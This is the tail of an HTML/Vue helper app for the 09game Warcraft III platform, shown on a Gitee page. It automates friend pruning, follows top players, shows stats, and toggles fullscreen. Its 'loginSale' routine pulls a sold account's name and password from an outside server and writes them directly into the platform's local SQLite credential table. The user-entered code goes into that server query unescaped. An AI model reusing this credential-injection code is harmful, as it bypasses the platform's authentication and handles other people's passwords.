user.days = this.calculateDaysDiff(records[0].player_time)
}
}
if (user.days >= this.cookies.friendsActiveDays) {
const { msg, err } = await this.deleteFriend(user.user_id, user.user_name)
const index = this.outputs.findIndex(output_user => output_user.user_id == user.user_id)
if (index !== -1) {
this.outputs[index] = Object.assign(this.outputs[index], { ...user, msg, err })
} else {
this.outputs.push({ ...user, msg, err })
}
}
}
},
async updateFriends(type) {
const friends = this.friends[this.user_id_token]
const users = friends[type].users
this.outputs.length = 0
const userPromises = users.map(async (user) => {
this.outputs.push({ ...user })
if (!('days' in user)) {
const res = await $.getJSON(`https://score.09game.com/Ordinary/UserPlayerGameList?UserID=${user.user_id}`)
if (res.data.length === 0) {
user.days = 999
} else {
const records = res.data.sort((a, b) => new Date(b.player_time) - new Date(a.player_time))
const user_names = [...new Set(res.data.filter(item => item.user_name !== '' && item.user_name != user.user_name).map(item => item.user_name))]
if (user_names.length > 0) {
user.old_user_names = user_names.join(', ')
}
user.days = this.calculateDaysDiff(records[0].player_time)
}
}
if (!(user.user_id in this.userinfos)) {
return $.getJSON(`https://users.09game.com/home/GetUserPub?user_id=${user.user_id}`)
.then((res) => {
this.userinfos[user.user_id] = res.temp[0]
user.level = res.temp[0].level
})
} else {
user.level = this.userinfos[user.user_id].level
}
})
await Promise.all(userPromises)
this.outputs = [...users.sort((a, b) => a.days - b.days)]
},
async getTopPlayers(game_type) {
const leaderboardUrl = `https://score.09game.com/ordinary/SeasonLeaderboard?GameTypeID=${game_type}&SeasonID=${this.season_id}&StartMark=0&EndMark=20000&PageSize=${this.follow_top_count}&PageIndex=0`;
const leaderboardData = await $.ajax({
url: leaderboardUrl,
dataType: "json"
});
const players = leaderboardData.data.listEntity;
const groups = [];
for (let i = 0; i < players.length; i += 12) {
const group = players.slice(i, i + 12);
groups.push(group);
}
const playerDetailsPromises = groups.map(async (group) => {
const ids = group.map((x) => x.user_id).join(",");
const userDetailsUrl = `https://users.09game.com/home/GetUserPub?user_id=${ids}`;
const userDetails = await $.ajax({
url: userDetailsUrl,
dataType: "json"
});
for (const a of userDetails.temp) {
for (const b of players) {
if (a.user_id == b.user_id) {
for (const key in a) {
b[key] = a[key];
}
}
}
}
});
await Promise.all(playerDetailsPromises);
return players
},
async followTopPlayers() {
this.outputs.length = 0
const game_type = this.gamelog ? this.gamelog.game_type : 1
const players = await this.getTopPlayers(game_type)
for (const player of players) {
const { msg, err } = await this.followFriend(player.user_id, player.user_name)
this.outputs.push({ ...player, msg, err })
}
},
fillInCurrentUserNames() {
if (this.gamelog) {
const user_id = this.token.split('-')[0]
const names = this.gamelog.players.filter(player => (player.user_id != user_id) && (player.user_id != this.user_id)).map(item => item.user_name)
this.user_names_to_follow = names.join(' ')
}
},
calculateDaysDiff(date_str) {
const currentDate = new Date()
const specificDate = new Date(date_str)
const timeDifference = currentDate.getTime() - specificDate.getTime()
return Math.floor(timeDifference / (1000 * 60 * 60 * 24))
},
setFriendsActiveDaysDefault() {
this.storeCookies()
const value = this.cookies.friendsActiveDays
toastr.success(`已将活跃天数的默认值设为${value},下次启动零九助手时,会自动将此值设为${value}`)
},
getUserInfoAttr(user_id, attr_name, default_value = null) {
const userInfo = this.userinfos[user_id];
return user_id && userInfo && userInfo.hasOwnProperty(attr_name)
? userInfo[attr_name]
: default_value;
},
gameTypeToName(game_type) {
return Object.keys(GAME_TYPES).find(k => GAME_TYPES[k] == game_type)
},
setHotKey(name) {
if (name == 'war3FullScreenSwitch') {
if (this.cookies.hotKeys.war3FullScreenSwitch.enable) {
aardio.run($('#war3FullScreenSwitchEnable').html()).then(([registered, hotKeyId]) => {
this.cookies.hotKeys.war3FullScreenSwitch.hotKeyId = hotKeyId
this.storeCookies()
if (registered) {
toastr.success(`魔兽窗口全屏切换快捷键 "Ctrl + F1" 已注册成功,热键ID:${hotKeyId}`, null, { positionClass: 'toast-bottom-right' })
}
})
} else {
aardio.run(`winform.unreghotkey(winform.war3FullScreenSwitch);winform.war3FullScreenSwitch = null`).then(() => {
this.cookies.hotKeys.war3FullScreenSwitch.hotKeyId = null
this.storeCookies()
})
}
}
},
scoreToScoreDisplay(score, arena_score) {
if (score >= 1600) {
return arena_score
}
if (score >= 700 && score < 1600) {
return (Math.round(score / 100) - 6 + (score % 10) / 10).toFixed(1)
}
if (score < 700) {
return ((score % 10) / 10).toFixed(1)
}
},
avatarHeadToUrl(avatar_head) {
return avatar_head ? `https://cdn.09game.com/resources/head/head_${avatar_head}_40.png` : "https://cdn.09game.com/resources/head/head_0_40.png"
},
get_score_link_url(user_id, game_type) {
return `https://www.09game.com/html/2020gamescore/web/?userid=${user_id}&type=${game_type || 1}`
},
skill_id_to_url(skill_id) {
return `https://cdn.09game.com/resources/game_skill/${ConvertWar3Id(skill_id ? skill_id : 0)}.jpg`
},
hero_id_to_url(hero) {
return `https://cdn.09game.com/resources/game_avator/${ConvertWar3Id(hero)}.jpg`
},
curve_url(user_id, game_type) {
if (game_type == 2)
return `/09/charts/IM.html?gs=3&userid=${user_id}`
if (game_type == 21)
return `/09/charts/OMG.html?gs=3&userid=${user_id}`
},
updateScore(player, game_type, game_source = -1) {
const user_id = player.user_id;
player.score = 100;
player.arena_score = 0;
$.getJSON(`https://score.09game.com/Ordinary/SeasonSummary?UserID=${user_id}&GameTypeID=${game_type}`).then(res => {
if (res["data"]["season"].length > 0) {
player.score = res["data"]["season"][0]["score"] || res["data"]["season"][0]["single_score"];
player.arena_score = res["data"]["season"][0]["arena_score"];
}
if (res["data"]["total"].length > 0) {
player.total_win = res["data"]["total"][0]["total_win"];
player.total_times = res["data"]["total"][0]["total_times"];
player.win_rate = player.total_win / player.total_times
} else {
player.total_win = 0;
player.total_times = 0;
player.win_rate = 0;
}
player.score_url = player.score < 1600 ? `https://www.09game.com/statics/IMsegment/0/${Math.round(player.score / 100)}.png` : `https://www.09game.com/statics/IMsegment/0/16.png`;
player.score_display = this.scoreToScoreDisplay(player.score, player.arena_score);
})
$.getJSON(`https://score.09game.com/MOBA/UserRanking?gameTypeId=${game_type}&UserID=${user_id}`).then(res => {
player.rank = "";
if (res["data"].length > 0) {
player.rank = res["data"][0]["rank_number"] || res["data"][0]["rank_number1"];
}
})
$.getJSON(`https://score.09game.com/MOBA/BasicDataList?UserID=${user_id}&GameTypeID=${game_type}&CurrentSeason=0&GameSource=${game_source}&Time=-1&PageIndex=0&PageSize=${this.cookies.KDAPageSize}`).then(res => {
player.kda = "";
if (res['code'] == 0) {
let [k, d, a] = [0, 0, 0];
const items = res['data']['listEntity'];
items.forEach(item => {
k += parseInt(item['kill_count']);
d += parseInt(item['killed_count']);
a += parseInt(item['assist_count']);
});
if (items.length > 0) {
k = k / items.length;
d = d / items.length;
a = a / items.length;
player.kda = `${Math.round(k)}/${Math.round(d)}/${Math.round(a)}`;
}
}
})
$.getJSON(`https://users.09game.com/Home/GetUserAchievement?user_id=${player.user_id}`).then(res => {
player.achieve_score = res["temp"]["total_score"];
})
},
printObject(obj) {
return hljs.highlight(JSON.stringify(obj, null, 2), { language: "json" }).value
},
isShowColumn(column, gamelog) {
if (column.id == 'skills') {
return gamelog.show_skills
}
return !column.game_type || column.game_type == gamelog.game_type
},
loginSaleTest() {
var name = "[email protected]"
var code = $("#loginSaleTest").html().replace(/__a__/, name)
aardio.run(code).then(res => {
if (res[0] === null && res[1].name === name) {
toastr.success("上号功能在本电脑上测试成功")
} else {
toastr.error("上号功能在本电脑上测试失败,请退出零九助手,然后点右键以管理员身份运行")
}
})
},
loginSale() {
const xcode = this.xcode
if (xcode.length == 0) {
toastr.error("请填入取号码")
return
}
toastr.info("正在查询数据,请稍候...")
aardio.run(`return web.json.parse(http.get("http://h7kxfmeb7h.51xd.pub/api/collections/sales_xcode/records?filter=(id='${xcode}')"))`).then(res => {
if (res.totalItems == 0) {
toastr.error("取号码错误",)
} else {
const code = $("#loginSale").html().replace(/__a__/, res['items'][0]['name']).replace(/__b__/, res['items'][0]['data']['newpassword'])
aardio.run(code).then((record) => {
if (record.name == res['items'][0]['name']) {
toastr.success("上号成功,请重启09平台,直接点登录即可")
} else {
this.loginOutputs.push(record)
}
})
}
})
},
prev() {
this.gamelog_index++
this.readGamelog(this.gamelog_index)
},
next() {
this.gamelog_index--
this.readGamelog(this.gamelog_index)
},
},
setup() {
},
created() {
const cookies = Cookies.getJSON('GAMEHELPER')
if (cookies) {
Object.assign(this.cookies, cookies)
}
this.connectAardio()
this.startInterval()
},
beforeDestroy() {
this.stopInterval()
},
})
const vm = app.mount('#app')
// Expose the Vue instance and its VM to the global scope
window.app = app
window.vm = vm
</script>
</body>
<script type="text/template" id="war3FullScreenSwitchEnable">
config.script_魔兽窗口全屏切换 = ""
if (winform.war3FullScreenSwitch) {
return {false, winform.war3FullScreenSwitch}
} else {
winform.war3FullScreenSwitch = winform.reghotkey(
function(id, mod, vk){
hwnd = win.find(,"Warcraft III")
_, _, width, height = win.getPos(win.getDesktop())
if(hwnd){
_, _, w, h = win.getPos(hwnd)
if(w < width){
win.modifyStyle(hwnd, 0xCF0000/*_WS_OVERLAPPEDWINDOW*/)
win.setPos(hwnd, 0, 0, width, height)
}else{
win.modifyStyle(hwnd,,0xCF0000/*_WS_OVERLAPPEDWINDOW*/)
win.setPos(hwnd, 50, 50, 1280, 720)
}
}
},2/*_MOD_CONTROL*/,0x70/*_VK_F1*/
)
return {true, winform.war3FullScreenSwitch}
}
</script>
<script type="text/template" id="loginSaleTest">
var a = "__a__";
var b = "63bcb2573bd80ca26f10c6d6e1d70c7c"
var db = sqlite("C:/ProgramData/09Game/09Platform.db")
db.exec("DELETE FROM authex WHERE name=@name;",{ name=a; })
var c = db.stepQuery("SELECT * FROM [authex]", { name=a })
var cmd = db.prepare("REPLACE INTO authex VALUES (@name,@lastlogin,@newpassword,@logintime,@login_type,@login_short_message,@login_short_time);")
cmd.step(name = a; lastlogin = 0; newpassword = b; logintime = tonumber(time()); login_type = 0; login_short_message = ""; login_short_time = 0;)
var d = db.stepQuery("SELECT * FROM [authex]", { name=a })
return {c, d}
</script>
<script type="text/template" id="loginSale">
var a = "__a__";
var b = "__b__"
var db = sqlite("C:/ProgramData/09Game/09Platform.db")
db.exec("DELETE FROM authex WHERE name=@name;",{ name=a; })
db.exec("UPDATE authex SET lastlogin = 0 WHERE lastlogin = 1;")
var cmd = db.prepare("REPLACE INTO authex VALUES (@name,@lastlogin,@newpassword,@logintime,@login_type,@login_short_message,@login_short_time);")
cmd.step(name = a; lastlogin = 1; newpassword = b; logintime = tonumber(time()); login_type = 0; login_short_message = ""; login_short_time = 0;)
var c = db.stepQuery("SELECT * FROM [authex]", { name=a })
return c
</script>
<script type="text/template" id="readConfigIni">
var data = {}
var config_path = "C:\ProgramData\09Game\config.ini"
if(io.exist(config_path)){
var ini = fsys.ini(config_path)
for section in ini.eachSection() {
for(k,v in section){
data[k] = v
}
}
}
return data
</script>
</html>
Loading...
马建仓 AI 助手
尝试更多
代码解读
代码找茬
代码优化
HTML
1
https://gitee.com/zhufeng200x/09.git
[email protected]:zhufeng200x/09.git
zhufeng200x
09
09
master

搜索帮助